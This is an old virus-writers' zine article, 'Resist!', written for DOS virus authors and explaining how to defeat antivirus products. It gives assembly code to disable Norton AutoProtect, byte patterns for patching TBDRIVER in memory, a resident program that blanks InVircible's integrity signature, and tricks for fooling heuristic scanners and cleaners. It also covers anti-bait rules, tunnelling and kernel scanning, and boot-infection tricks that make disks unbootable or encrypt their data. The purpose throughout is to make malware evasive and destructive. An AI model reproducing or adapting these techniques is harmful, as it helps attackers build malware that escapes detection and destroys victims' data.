Resist!
Further virus strategies
by
Mouth of Sauron

    Disabling AutoProtect and NAVTSR
    ---------------------------------------------------------------------------
    One of the first antivirus programs available for Windows 95 was Norton
    Antivirus. Except for the user interface, nothing much changed. The detection
    ratio and protection level is a joke. But nevertheless a lot of people use
    NAV(95) and have NAVTSR or AutoProtect installed, which should protect them
    from "all known and unknown" viruses. Hmmm, the Symantec advertisement is
    also quite funny, all that crap about 32 bit viruses. So far, no 32 bit
    virus is known, except Bizatch which was not finished when NAV95 was
    available in the shops.

    There are several possible ways to attack NAV, I will describe two of them
    here. First of all, AutoProtect and NAVTSR have an INT 2Fh API which allows
    you to detect, disable and enable the VxD/TSR, similar to VSAFE
    (remember VSLAY?):

    * The NAVTSR and AutoProtect API:

     - NAV 4.0 (NAV for Windows 95):

      Detect:
        MOV AX,0FE00H
        MOV SI,4E41H
        MOV DI,4E55H
        INT 2FH

      Results:
      -> AX = 0 TSR not active
         AX = 1 TSR active
         SI = 6E61H
         DI = 6E75H

      Enable:
        MOV AX,0FE01H
        MOV SI,4E41H
        MOV DI,4E55H
        INT 2FH

      Disable:
        MOV AX,0FE02H
        MOV SI,4E41H
        MOV DI,4E55H
        INT 2FH

    The second approach is to delete the data files NAV uses to immunise files
    and the boot sector. NAV puts all this data into some files which are
    located in "\NCDTREE" by default, one directory for each drive. The user
    could change the location of these data files, but this option is well
    hidden so I guess none of these dummy users will ever change it. Well,
    just delete the files in "\NCDTREE" and NAV will recreate all the data
    without any warning next time it is called.

    By default, NAV doesn't scan the upper memory area (UMB) and will not
    detect viruses which go resident there. It's always a good idea to use
    UMB for staying resident, so use it!

    TBAV: No changes!
    --------------------------------------------------------------------------

    * Disabling TBDRIVER:

    Although the method to disable TBDRIVER (from the great TBAV antivirus
    program) has been known for several months and several viruses are known
    to use this trick, Thunderbyte B.V. has done nothing to protect it's product
    against this attack. Up to version 6.51, the entry point code of TBDRIVER
    looks the same and can be modified without problems.

    Just scan the memory for

      EB 05   (*)
      EA xx xx xx xx
      FA
      9C
      FC
      53
      50

    To disable TBDRIVER and all it's supporting TSRs like TBFILE, TBMEM, TBCHECK
    and TBSCANX just change the EB 05 (that's a SHORT JMP) to EB 00. The TSR is
    then disabled and can't intercept your virus. Furthermore, you can get the
    original INT 21h vector which is stored after the "EA" (FAR JMP).

    A good idea is to do the scanning while tracing INT 21h. When you patch the
    driver at once, no trace warning will be displayed. But simple INT 1 tracing
    is now quite dangerous, as there are many watchdog TSRs which intercept it.
    To prevent detection by these tools, you could scan each of the MCB areas
    (but keep in mind that TBDRIVER can also be loaded as a DEVICE!) for the
    signature, or you can use recursive tunneling. If you don't know recursive
    tunneling, take a look at ART (was released in an older VLAD magazine).
    It can be done even more easily, just code emulate the most important
    branch operands like SHORT JMP, NEAR JMP and FAR JMP to trace through the
    interrupt chain. As this is only emulation and not real single-step tracing,
    it can't be intercepted. The most effective method to get the original
    INT 21h vector is kernel scanning, which I will explain later in this text.

    Besides the scanner and resident watchdogs, TBAV contains a tool called
    TBCLEAN. This is a generic file virus cleaner, but unlike TBSCAN it does not
    use code emulation but rather does stupid INT 1 tracing with some security
    checks to prevent the virus from activating. The first virus which managed
    to activate while being cleaned with TBCLEAN was Varicella, but the method
    used to cheat TBCLEAN no longer works. Still, there are some ways to fool
    TBCLEAN. Besides using do-nothing interrupt calls like AH=01h INT 16h,
    AH=08h INT 10h or other INT 21h API calls, stack modifications
    (DEC SP, INC SP) or prefetch queue tricks to stop TBCLEAN from cleaning a
    file. COM infectors also can do a quick jump back to offset 100h to stop
    the cleaning process, but it is much more interesting to use TBCLEAN as a
    vector. TBCLEAN of course prevents all direct manipulation of the interrupt
    vector area (you also can use this to stop TBCLEAN), but obviously TBCLEAN
    has problems handling segment overrides like DS: ES: and the others.

    A simple example. Try to (TB)clean this little COM program:

            mov AX,4c00h
            db 2eh
            int 21h
            nop

    Funny, isn't it? The segment override in combination with the NOP prevents
    TBCLEAN from detecting the interrupt call, which will get executed for real
    now! To fully activate your virus, you could use AX=2521h (Set interrupt)
    to set a new interrupt 21h routine.
    Keep in mind that this override/NOP structure could be used for possible
    heuristic flags, so hide it behind a layer of (polymorphic) encryption.

    AHA - A dangerous new heuristic engine
    ---------------------------------------------------------------------------
    Unnoticed by most virus coders, S&S added a new heuristic engine to their
    already very good scanner FINDVIRUS from the Dr. Solomon Antivirus Toolkit.
    Besides it's very good hit ratios and detection of even the most polymorphic
    viruses, it also causes almost no false positives. But this is also the weak
    point of the heuristic. The coders' first aim was obviously for the
    heuristics not to cause any false positives, and the checks it does to
    prevent them are quite easy to come by. At first, the entry point of the
    program must be around 200 to 4000 bytes before the end of file. Normally,
    encrypted viruses look like this:

      .---------------------------------------.
      |                                       v
    .----.----------------------------------.----.---------------------.
    | 1  |               2                  | 3  |          4          |
    '----'----------------------------------'----'---------------------'
    (1) = Program header, now points to virus entry point at (3)
    (2) = Old program code
    (3) = Entry point of virus with the decryptor
    (4) = Encrypted virus code

    This AHA detects without problems, but it fails to detect the same (!) virus
    if it's modified like this:

      .-----------------------------------------------------------------.
      |                                                                 v
    .----.----------------------------------.----.---------------------.-.
    | 1  |               2                  | 3  |          4          |5|
    '----'----------------------------------'----'---------------------'-'
                                              ^                         |
                                              '-------------------------'
    (1) = Program header, now points to virus entry point at (5)
    (2) = Old program code
    (3) = Real entry point of virus with the decryptor
    (4) = Encrypted virus code
    (5) = Simple or hidden jump to real virus start at (3)

    If the entry point lies out of the usual area, AHA thinks it's a normal
    program and stops analysing it. Besides this, AHA is very susceptible to
    anti-heuristic structures and it only cares about normal file infectors,
    ignoring boot viruses completely. AHA also doesn't emulate the interrupt
    or BIOS area at 0:0 or 40:0, so make some far calls to this area to stop
    AHA from emulating code. Stack modifications also confuse AHA, similar to
    prefetch queue tricks, but as these queue tricks don't run on Pentiums,
    it's no longer possible to use them. AHA is very effective at detecting
    polymorphic engines which create large amounts of garbage opcode, so create
    only "smooth" decryptors with your polymorphic engine.

    Slow motion
    -------------------------------------------------------------------------------
    I already discussed slow polymorphic engines some time ago, but as this
    is quite important I'm mentioning it here again. Most virus coders think
    that a polymorphic engine is good when it's very variable and changes
    with every infected file. This is true to some extent, but this also
    allows the virus researchers to quickly analyse the engine by just creating
    a few hundred files. Usually, the AV researchers get a lot of new viruses
    every week and they don't have the time to fully analyse every single virus.
    So, if the virus looks static after quickly infecting five or ten files, the
    researcher won't do further analysis and will just add a simple scan string
    to their product. This will happen if you are using a slow polymorphic
    engine, or at least slow down the randomizing of it. It might be a good
    idea to fetch the neccessary random factors only one time per day, at the
    time when the virus goes resident for example (what, your virus is not
    resident? Argh!).
    Also, use the system date instead of the system time to create random
    numbers. If the created decryptors change only very slowly, it'll become
    quite difficult to create enough representative infected bait files.

    Instead of inserting garbage opcodes, your engine should add "real" code,
    which looks like useful code. Use branches (calls!) and do many time
    consuming loops. An example of this is SMEG, which creates huge decryptors
    but the decryption method itself is too weak. It's useless to write a
    polymorphic engine which creates 2000 byte large decryptors but only
    uses a simple 8 bit XOR for encryption. Consider this for your engine and
    use several different encryption methods in combination. Another interesting
    method to fool scanners, especially TBSCAN is to fake known file headers
    like PKLITE, LZEXE or TURBO C. For example, all PKLITE compressed files
    always begin with:

    B8 xx xx        mov AX,????
    BA xx xx        mov DX,????
    05 xx xx        add AX,????
    3b 06 02 00     cmp AX,[2]

    73 1a           jnb Label_1         or:         72 1b           jb Label_1
    2d 20 00        sub AX,20h                      b4 09           mov AH,9
    FA              cli                             ba ?? ??        ba 18 01

    If your virus begins with these harmless opcodes, TBSCAN will just report
    "Looking ... > cp" and will stop scanning the file, thinking it's compressed
    with PKLITE. Take a look at PKLITE 1.15 or TURBO C headers and copy them,
    but keep in mind that these are fixed strings. A polymorphic engine could
    possibly fake a couple of these known file headers in order to cause
    confusion.

    Lastly, most code emulators don't fully emulate all interrupt 21h API
    calls. So, use some of them which result in known register contents, for
    example AH=52h INT 21h. This only returns a vector to the SYSVARS list in
    memory, and almost every DOS version (tested with MS-DOS, IBM-DOS and OS/2)
    returns BX=26h. Or access the interrupt vector table (at 0:0) directly, for
    example by creating a simple RETF there and then FAR CALLING this address.

    Generic Anti-Anti-Virus?
    -----------------------------------------------------------------------------
    There were many discussions about InVircible, a generic antivirus toolkit
    from NetZ Computing. The result of this was some anti-InVircible viruses
    which attack it by deleting the data files, IVB.NTZ by default. Of course,
    it's possible to rename this file, and one virus coder solved this by
    scanning every file in the current directory for the usual IVB.NTZ file
    header. Zvi Netivs' answer to One13th is to use variable file headers for
    IVB.NTZ, so you can't scan for them anymore. In fact, he is faking known
    file headers like EXE files and ZIP or ARJ archives. But it's still very
    easy to do a generic approach in order to find the data files. The solution
    I present here is very easy. When IVB.EXE starts, it checks the IV.INI
    configuration file for the SIG= parameter. The little TSR following here
    just intercepts this and overwrites the signature name in memory. IVB just
    says that it's renewing the data file and ignores any changes done to
    programs! Of course, it's possible to read out the data file name and
    delete it afterwards, or simply to delete IV.INI. In this case, InVircible
    just uses the standard IVB.NTZ name again. It is very important that your
    virus stops infecting and stealthing files when InVircible is executed
    because the virus checks are good and will most likely detect the virus,
    even if InVircible can't read it's data files.

    This is just a simple TSR, not a virus!

                    org 100h

    Virus_StartUp:  mov ax,3521h
                    int 21h
                    mov word ptr [OldInt21],bx
                    mov word ptr [OldInt21+2],es
                    mov ah,25h
                    mov dx,offset NewInt21
                    int 21h
                    mov ah,31h                           ;Stay resident
                    mov dx,(Virus_End-Virus_StartUp+100h)/10h+1
                    int 21h

    NewInt21:       cmp ah,3fh                           ;Read file access?
                    je l_Read
    EndInt21:       db 0eah                              ;Jump back to old int21
    OldInt21        dd 0

    l_Read:         pushf                                ;Read in the data
                    call dword ptr cs:[OldInt21]
                    jc l1
                    pushf
                    or ax,ax                             ;Nothing read?
                    jz l3
                    push ax
                    push cx
                    push si
                    mov si,dx
                    sub ax,4
                    xchg cx,ax
                    cmp word ptr [si],"IS"               ;'SIG='?
                    jne l2
                    cmp word ptr [si+2],"=G"
                    jne l2
    l4:             cmp byte ptr [si+4]," "              ;Wipe signature name
                    jb l2
                    mov byte ptr [si+4]," "
                    inc si
                    loop l4
    l2:             pop si
                    pop cx
                    pop ax
    l3:             popf
    l1:             retf 2

    Virus_End label byte

    You also might intercept the executing of IVB.EXE and add '/V' to the actual
    command-line! IVB will remove all the data files on it's own...

    Anti-Bait
    ---------------------------------------------------------------------------
    Anti-bait routines will further improve the stealth abilities of a virus and
    will keep stupid AV researchers from creating infected bait files without
    problems. When an AV researcher gets a new virus, he usually creates some
    samples with specific baits. Some AV companies have their own special bait
    collection which they use for testing the cleaning ability of their product.
    So it's quite neccessary for them to create baits. Some antivirus programs
    also create baits and execute them in order to catch active viruses. It's
    quite easy to avoid these bait traps if your virus doesn't infect files on
    the following conditions:

    1. The executable file has the actual day, month and year set in it's file
       time stamp. Baits are usually created shortly before the virus should
       infect them, so this is one easy method to avoid baits. Normal programs
       are usually older than one month, so this is no real problem for the
       virus.
       It even helps the virus to stay unnoticed, as new software is usually
       especially carefully screened.

    2. Do not infect files which have numbers in their file name. Baits are
       usually numbered (eg BAIT1.COM, BAIT2.COM, BAIT3.COM and so on) or they
       are created using AH=5ah INT 21h (Create temporary file), whose file
       names also contain numbers.

    This should be enough to prevent infecting most bait files, but there are
    more things your virus could check:

    3. Store the length of file name of an infected file and don't infect the
       next file if it has the same name length. This is neccessary when the AV
       researcher doesn't use numbers but letters for numbering the bait files
       (eg BAITA.COM, BAITB.COM, BAITC.COM).

    4. As 3. doesn't work if only one bait file is created, you could further
       check if the file is located in the root directory. A lot of antivirus
       programs create their files in the root directory of the actual drive,
       or use C:\. You check this by checking the file name for the amount
       of '\'s. Skip files which only have one '\' in their name, that's all.
       You might need to exclude COMMAND.COM from this check if you still want
       to infect it.

    5. A very powerful method to avoid baits is to add a timer function which
       prevents the virus from infecting files in a short interval. Just set
       this timer to 1-10 minutes and creating large amounts of baits will
       become a big problem. It might also be funny to add a timer which will
       add a pause after the virus activation and keep the virus from infecting
       files too soon.The larger variants of Sirius.Alive use this.

    Keep in mind that the AV researcher can't patch the virus in order to remove
    these checks. They need unmodified versions of the virus and can't avoid all
    this anti-bait stuff.

    Armoured boot viruses
    ----------------------------------------------------------------------------
    Boot viruses are the most common viruses in the world. Viruses like Monkey,
    Stoned, AntiExe, Stealth_Boot, AntiCMOS, B1, Form or V-Sign are responsible
    for almost 90 percent of all infections world-wide. By now, most users know
    the 'undocumented' FDISK parameter '/MBR' which will replace the partition
    sector loader code with the standard DOS code, removing a virus from the
    partition sector. This works fine with almost all viruses, but with Monkey
    a new infection scheme was introduced which will cause total loss of data
    when the user tries to use 'FDISK /MBR'. All methods described below require
    that the virus is resident and has full stealth abilities or the system will
    halt at the next reboot. Monkey uses a simple trick: it not only infects the
    partition code but changes the master boot record at offset 1BEh to an
    invalid partition record. If you boot the system from a clean disk, the virus
    is gone and you can't access the hard disk anymore from DOS! Some stupid AV
    programs still can't handle this situation and refuse to scan the hard disk,
    not being able to detect or clean the virus now! If you now use FDISK, it
    will overwrite and remove the virus, but will keep the invalid partition
    record.
    The second method is quite unknown but just a simple improvement of the first
    one. And it's quite surprising for the unskilled user! To make it short:
    Just scan the partition record for the active partition entry (the one which
    is flagged with 80h), change it's type to EXTENDED (05h) and set the start
    cylinder/head/sector to 0/0/1. This causes an endless loop when you try to
    boot from a clean disk. The system just hangs up and it's not possible to
    boot without the virus. All MS-DOS versions from 4.0 to 7.0 have this bug,
    only IBM-DOS will finish the boot sequence, but as the partition record is
    invalid, you will only get 'Invalid drive C:' if you try to access the hard
    disk. So far, only a Gingerbread variant uses this trick, but it's very easy
    to add this feature to a boot virus and most people use MS-DOS, so why not
    use it?
    The third method is much more troublesome and causes real problems if
    it's not coded correctly. The idea is to encrypt the whole hard disk data
    area, like Onehalf does. Of course you can't encrypt the whole hard disk at
    once (a virus that needs hours to install seems very obvious to me...),
    but instead encrypt just a few sectors, starting at the beginning or end of
    the hard disk data area. Most AV programs can clean Onehalf now, but they
    only remove the virus from the partition and clean the files, but don't
    decrypt the hard disk. At last, use variable encryption when storing the
    original partition sector. Some AV programs scan the whole hard disk for
    those copies and use them for cleaning. Some programs can even rebuild the
    partition record if it's completely wiped and only the boot sectors are
    available. So it might be a good idea to encrypt them too.

    Some comments about file infection
    ----------------------------------------------------------------------------
    A lot of resident watchdogs heavily rely on INT 2Ah while intercepting
    system calls. Every time a INT 21h API call is done, the DOS kernel calls
    INT 2Ah with AH=80h after the INT 21h API call has finished. DOS doesn't
    call INT 2Ah after every function, but after all API calls which are
    necessary for viruses. By intercepting INT 2Ah and determining the
    original registers the watchdog can easily bypass and detect the virus!
    So it's a good idea to set INT 2Ah to a do-nothing handler while infecting
    files. Like INT 24h, just set it to an IRET opcode. This will leave a few AV
    watchdogs powerless, for example the AVP TSR or PCRX use this method to
    intercept system calls.

    Some stupid AV watchdogs even do a primitive handle check before doing
    further checks to the file handle. They only care about handles which are
    equal or higher than 5 (they just do a stupid BX>=5 check instead of using
    IOCTL). Normally, all handles below 5 are system handles and are occupied by
    PRN, AUX, NUL and other standard devices. But by using AH=45h INT 21h
    (Duplicate file handle) you can copy such a system handle to a higher handle,
    close it and reopen the target file. This new handle will then be a low
    handle, and a lot of watchdogs will ignore file modifications which are done
    while using this handle. After infecting the file, just copy back the system
    handle from the higher location to the still opened lower handle.

    More comments about interrupt usage
    ----------------------------------------------------------------------------
    Of course all of you know how to disable VSAFE in memory, using it's own API.
    But I really suggest that you stop using INT 13/16/21 AX=FA01h to remove
    VSAFE because now some AV watchdogs intercept this special call and will block
    yourvirus! VSAFE by itself never uses this call directly, so only viruses
    can be the reason for such a call. It's much more efficient to use recursive
    tunneling or kernel scanning to bypass this stupid watchdog.

    Don't use things like

            mov AX,0deadh
            int 21h
            cmp AX,0acdch
            je Virus_Installed

    for determining if your virus is already active! First of all, TBSCAN and
    other heuristic tools will detect this at once as a virus structure and
    some AV watchdogs will intercept any strange INT 21 function in order to
    catch resident viruses while they install themselves in memory. Instead,
    use some 'normal' functions like AH=30h. For example, it's much harder to
    intercept:

            mov AX,3096h
            mov SI,1996h
            mov DI,1996h
            int 21h
            cmp AL,3
            jne No_Virus
            cmp SI,1997h
            jne No_Virus
            cmp DI,1997h
            je Virus_Installed

    The watchdog TSR now can't distinguish between a normal DOS version check
    and a virus are-you-there call.

    Or you could add more checks like a special SP range if your virus infects
    EXE only. If the virus always installs a new SP from 200h to 220h, don't
    react to self-check calls if the SP range is invalid. Some AV programs call
    all the known virus 'are-you-there' calls in order to detect the presence of
    a virus.

    Don't use simple INT 1 tracing! Almost every quality AV watchdog will
    intercept this (or it's absolutely worthless). Ita much better to use
    recursive tunneling or kernel scanning. Kernel scanning is very easy. The
    approach I now explain will work with MS-DOS and IBM-DOS when the DOS kernel
    is in the HMA, but it's easy enough to find the entry point when DOS is
    loaded low (for example when the user pressed F5 while booting).

    The first thing you need is the DOS data segment. You can get it by calling
    AH=52h INT 21h, returning a pointer in ES:BX. Just scan the ES segment for
    the following structures:

            90              nop
            90              nop
            E8 ?? 00        call A20_Check
            2E FF 2E xx xx  jmp far CS:[xxxx]
            90              nop
            90              nop
            ...

    There's a whole bunch of these calls, so after detecting the first one skip
    14h bytes in order to get the INT 21h entry point. Now you might patch this
    code fragment directly or further trace the JMP FAR into the HMA.

    You could also scan the HMA directly, just search for:

            FA              cli
            80 FC ??        cmp AH,?? (mostly 6Ch, but DOS 7.0 uses 73h)
            77 ??           ja ??       (in fact, these 7x calls are used for
            80 FC 33        cmp AH,33h   long file name access and drive locking)
            72 ??           jc ??
            74 ??           jz ??
            80 Fc 64        cmp AH,64h
            ...

    This one usually starts somewhere at F8xx-FFxx:4xxx (in my system this entry
    point is at FF06h:41E7h), and don't forget to enable the HMA before scanning
    this area. The simplest way to enable the HMA is to call a do-nothing INT 21h
    like GET DATE.

    A more interesting way to get the original INT 21h entry point is recursive
    tunneling. Instead of using the CPU single step mode you could emulate the
    most important jump operands and trace trought the interrupt chain. Unlike
    real tracing, this can't be intercepted by a watchdog. The only
    countermeasure is to add some traps in the watchdog code which the recursive
    tunneler can't emulate. Recursive tunneling is quite easy to do, just get
    the actual INT 21h vector and scan the area around this entry point for
    instructions like:

            2E FF 2E xx xx          jmp far CS:[xxxx]

            2E FF 1E xx xx          call far CS:[xxxx]

            9A xx xx yy yy          call far yyyy:xxxx

            EA xx xx yy yy          jmp far yyyy:xxxx

    Of course it's neccessary to check if the destination vector is valid. Just
    scanning for EAh or 9Ah is quite uncertain, so instead you should scan for
    9D EA, 9D 9A, FB EA or FB 9A (9D is a POPF instruction and FB is STI
    which are often used before returning to the old INT 21 vector). It also
    might be a good idea to emulate SHORT or NEAR JMPs, especially when they are
    the first instruction at the entry point of the INT 21h vector.
    It's a good idea to do some AV watchdog scanning while tracing with the
    recursive tunneler and patch the TSR code in memory.

    If you need the original INT 2Fh entry point, for example if you use AH=13h
    INT 2Fh and don't want that your undocumented INT 2F call to be intercepted
    just take a look at 70:05h in memory. When using standard MS-DOS or IBM-DOS,
    DOS places a FAR JMP at this location which can be used to get a secure
    INT 2Fh entry point or to hook INT 2Fh with a more stealthy method. You
    should check the this vector before using it, normally it points to a JMP FAR
    instruction (EA xx xx yy yy), but under MS-DOS 7.0 there's a NEAR JMP (E9h)
    which points to a JMP FAR CS:[xxxx] (2E FF 2E xxxx). Under IBM-DOS this
    directly points into the HMA (segment above F8xxh). If you need to access
    the HMA without a watchdog being able to intercept this call scan the HMA
    for:
            FB              sti
            80 FC 11        cmp AH,11
            75 0A           jnz l1
            0A C0           or AL,AL
            74 03           jz l2
            E8 DC FF        call l3
            CA 02 00        retf 2
            80 FC 10        cmp AH,10

    This is the HMA entry point of INT 2Fh and will allow you to use AX=1216h and
    AX=1220h INT 2Fh without problems. It might be neccessary to enable the HMA
    before scanning the area at F800:xxxx, but usually the HMA is already active
    if you called an INT 21h beforehand.

    When your virus is a full file stealth virus, you should consider adding SFT
    stealth. It's quite useless to hide the true file length at AX=4202 INT 21h
    when the AV program can bypass the virus by checking the file SFT entry.
    SFT stealth is quite easy to code, directly after opening an infected file
    reduce the file length in the SFT entry of that file and mask the file date/
    time stamp if your virus use an illegal time stamp to mark infected files.
    This causes no problems unless a program tries to write to such a modified
    handle. To prevent FAT corruption you should then return the SFT to it's
    former state when a AH=40h INT 21h is called. To recognise a modified handle
    you maybe could use the SFT vector as an ID. It's not necessary to fix the
    handle before it's closed when no changes were done to the file. Besides
    having a better stealth cover, the virus no longer needs to intercept
    AX=4202 INT 21h in order to prevent reading from the true file end. Only
    AH=3Fh INT 21h has to be intercepted, and only in the case that a program
    tries to read in the modified file header.